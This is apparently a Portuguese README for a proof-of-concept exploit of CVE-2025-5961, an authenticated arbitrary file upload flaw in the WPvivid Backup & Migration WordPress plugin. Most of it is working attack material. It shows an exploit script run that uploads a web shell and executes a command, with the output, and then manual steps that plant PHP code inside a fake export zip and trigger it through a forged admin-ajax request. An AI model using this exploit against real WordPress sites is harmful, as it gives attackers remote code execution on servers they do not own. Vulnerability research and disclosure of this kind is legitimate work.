d0n601/cve-2025-5961Migração, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Autenticado (Administrador+) Upload Arbitrário de Arquivos
O plugin wpvivid-backuprestore não sanitiza os tipos de arquivo da ação wpvivid_upload_import_files, permitindo que administradores ou superiores enviem arquivos arbitrários e potencialmente obtenham execução de código no servidor. NOTA: Os arquivos enviados são acessíveis apenas em instâncias WordPress que rodam no servidor web NGINX, pois o .htaccess existente na pasta de destino do upload impede o acesso em servidores Apache.
hack.php. python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}
Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 78309sec preferred_lft 78309sec
inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86105sec preferred_lft 14105sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
A ação wpvivid_upload_import_files chama a função upload_files na linha 2210 de /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php sem impor qualquer validação de tipo de arquivo.
Na linha 2235, $file_name é definido da seguinte forma:
$file_name=basename(sanitize_text_field($_POST['name']));
A variável $file_name é então usada na linha 2246 para escrever o arquivo no sistema de arquivos.
$file_handle = fopen($path.$file_name, 'wb');
echo "<?php phpinfo(); ?>" >> wpvivid-0000000000000_1969-04-20-00-00_export_post.zip
WPvivid Backup.Export & Import no menu lateral e depois selecione a aba Import.Upload and Import e selecione o wpvivid-0000000000000_1969-04-20-00-00_export_post.zip que criamos no passo zero.
POST conterá algo como o seguinte; encaminhe esta requisição:POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b
poc.php:
https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php para executar a prova de conceito.
